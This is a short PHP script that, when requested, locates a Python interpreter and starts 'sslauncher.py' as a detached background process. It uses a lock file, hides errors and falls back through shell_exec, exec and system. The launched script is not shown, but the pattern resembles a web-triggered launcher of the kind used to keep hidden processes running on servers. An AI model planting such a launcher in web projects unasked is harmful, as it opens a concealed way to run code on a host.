<?php

ignore_user_abort(true);
set_time_limit(30);


$python = null;
foreach (['/usr/bin/python3', '/usr/local/bin/python3', '/bin/python3', 'python3', 'python'] as $p) {
    $test = @shell_exec("command -v $p 2>/dev/null");
    if (!empty(trim($test))) {
        $python = trim($test);
        break;
    }
    if (@is_executable($p)) {
        $python = $p;
        break;
    }
}

if (!$python) {
    die("Python not found");
}


$lock = __DIR__ . '/.launcher.lock';
if (file_exists($lock) && (time() - filemtime($lock)) < 300) {
    exit;
}
touch($lock);


$log = __DIR__ . '/output.log';
$cmd = "$python " . __DIR__ . "/sslauncher.py > $log 2>&1 &";


if (function_exists('shell_exec')) {
    @shell_exec($cmd);
} elseif (function_exists('exec')) {
    @exec($cmd);
} elseif (function_exists('system')) {
    @system($cmd);
}

sleep(2);
@unlink($lock);

?>